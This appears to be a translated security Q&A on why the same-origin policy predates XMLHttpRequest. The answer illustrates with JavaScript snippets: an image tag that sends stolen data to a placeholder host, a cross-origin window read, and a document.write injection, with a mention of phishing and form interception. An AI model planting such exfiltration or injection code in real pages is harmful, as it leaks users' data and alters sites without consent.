为什么最初引入同源策略(在 XMLHttpRequest 之前)?

信息安全 javascript 同源策略 跨域 历史的
2021-09-08 05:30:13

据我了解,同源策略(SOP) 基本上可以防止网页中的脚本从/向不同域获取或发送信息。

我知道这对于防止页面获取私人数据并将其传递到其他地方很重要。例如,如果没有 SOP,我可以使用以下脚本编写一个公共网页:

  • 从只能访问客户端浏览器(但不能访问我的服务器)的 Intranet 站点读取信息,并且
  • XMLHttpRequest使用(或fetch()将其发送回我的服务器

但是,当引入 SOP 时(JavaScript 1.0,1995 年的 Netscape Navigator 2.0),没有办法从 JavaScript 发送请求XMLHttpRequest 仅在 1999 年 3 月的 Internet Explorer 5.0 中引入,fetch()甚至更晚。

那么 - SOP 在无法发送请求的情况下阻止了哪些攻击?显然,如果没有 SOP,脚本可以获取各种潜在的私有数据,但如果脚本无法传递,风险在哪里?


客户端 JavaScript 指南 V1.3 (从 1999年开始,因此在 XMLHttpRequest 之前)只是说:

JavaScript 会自动阻止一台服务器上的脚本访问另一台服务器上的文档属性。此限制可防止脚本获取私有信息,例如目录结构或用户会话历史记录。

但是,如果脚本无法将其泄露,它并没有解释为什么“获取私人信息”会成为问题。

1个回答

数据泄露并不是很困难,因为有各种元素可以获取(远程)内容。

一个例子是一张图片:

var img = document. createElement("img");
img.src = "http://example.com/log?message=" + exfiltrated_data;
var src = document.getElementById("somediv");
src.appendChild(img);

其他途径是获取 CSS/JS 文件等。

获取数据也很容易:

var windowx = window.open("http://example.com/stealthis.html");
windowx.onload = function() {
// The SOP prevents this read for different origins:
console.log(windowx.document); // can be exfiltrated via image. 
};

但 SOP 不仅关乎机密性,还关乎完整性。将渗透代码注入目标网站的方式已经成为一个问题,因为它允许攻击者更改网站显示的内容:

var windowx = window.open("http://example.com/modifythis.html");
windowx.onload = function() {
console.log(windowx.document.write('this shouldn\'t be here'));
};

然后,这可用于泄露数据(见上文)、显示网络钓鱼表单、拦截现有表单以将输入的数据发送给攻击者、污损等。